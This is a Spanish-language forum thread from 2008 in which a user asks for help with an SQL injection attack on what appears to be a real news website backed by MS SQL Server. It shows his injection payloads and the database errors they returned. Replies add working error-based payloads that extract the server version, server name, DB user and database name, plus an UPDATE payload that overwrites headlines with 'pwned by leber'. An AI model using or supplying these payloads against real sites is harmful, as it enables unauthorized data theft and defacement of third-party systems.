Duda con SQL injection

Iniciado por Leber, 18 Abril 2008, 01:05 AM

0 Miembros y 1 Visitante están viendo este tema.

satan69

Cita de: Leber en 22 Abril 2008, 01:08 AM
Heme aqui de nuevo ( ¿que desgracia eh  :( ?)

Bueno, vamos a ver:

Consegui sacar el nombre de una columna de una web(trabala con MS SQL), y bueno, probe algo mas, pero me quede encallado. Primero hice:

id=456+having+1=1

Y me produjo el siguiente error:

[La columna 'noticias.ANTETITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY./code]

Asi que luego hice:

id=456+group+by+noticias.ANTETITULO+having+1=1

Y me salio:

[code]Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'noticias.TITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/web/sp/index.asp, line 11


Asi que fui rellenando con group by, hasta que al tratar de meter la sentencia:


id=456+group+by+noticias.ANTETITULO+,noticias.TITULO+,noticias.ENTRADILLA+,noticias.FECHA+,noticias.HEAD,+noticias.TEXTO+having+1=1--


Me produjo el siguiente error:

[Microsoft][ODBC SQL Server Driver][SQL Server]No se puede comparar ni ordenar los tipos de datos text, ntext e image, excepto cuando se utiliza el operador IS NULL o LIKE.

Y ahi me quede, intente sacar la version con

id=456+union+select+@@version,1,1,1,1

Y me dijo:

[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor varchar 'Cinco organizaciones ecologistas denuncian la especulación urbanística como la principal amenaza del medio ambiente en España' para una columna de tipo de datos int.

Y nada mas, me quede ahi estancado, a ver si alguien puede echarme una mano, solo orientarme un poco(no me gusta que me hagan las cosas), para donde puedo ir o cuales pueden ser mis movimientos siguientes.

Gracias de antemano, y un saludo

[/code]


es asi la onda:

id=1' having 1=1--

ayi tira el error... y la mayor veces te muestra los campos y el nombre de la tabla

Leber

En algunas paginas no funciona con ', y  por eso tuve que meterlo sin la comilla.
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

sch3m4

Cita de: Lympex en 18 Abril 2008, 03:05 AM
(...) te darás cuenta de porqué te salta ese error cuando metes la comilla (las comillas se usan para las cadenas) (...)

Depende de si la página interpreta ese dígito como un número, o como carácter.
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Leber

Si, eso ya lo lei y me entere, pero cuando me salta este error por ejemplo:

[Microsoft][ODBC SQL Server Driver][SQL Server]No se puede comparar ni ordenar los tipos de datos text, ntext e image, excepto cuando se utiliza el operador IS NULL o LIKE.

Haciendo el groupby con todas las columnas que me dijo, que deberia hacer? tratar de convertirle a numero, o usarlo con comillas supongo, no?

Saludos
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

pedrox@

aver.......
El simbolo + no te hace falta que lo pongas antes de la coma, podria quedar asi:

id=456+group+by+noticias.ANTETITULO,noticias.TITULO,noticias.ENTRADILLA,noticias.FECHA,noticias.HEAD,noticias.TEXTO+having+1=1--

Si te sigue tirando error, puede ser porque ya no existan mas columnas.
Si quieres updatear una, puedes hacer:

id=456+update+noticias+set+TITULO+=+'pwned by leber'--

Si quieres obtener la versión del servidor MS SQL, con que hagas esto ya te vale:

id=1+and+1=convert(int,@@version)--

Nombre del servidor:

id=1+and+1=convert(int,@@servername)--

Nombre del usuario de la DB:

id=1+and+1=convert(int,system_user)

Nombre de la DB de la página web:

id=1+and+1=convert(int,db_name())

Espero que te sirva.

Saludos.  ;)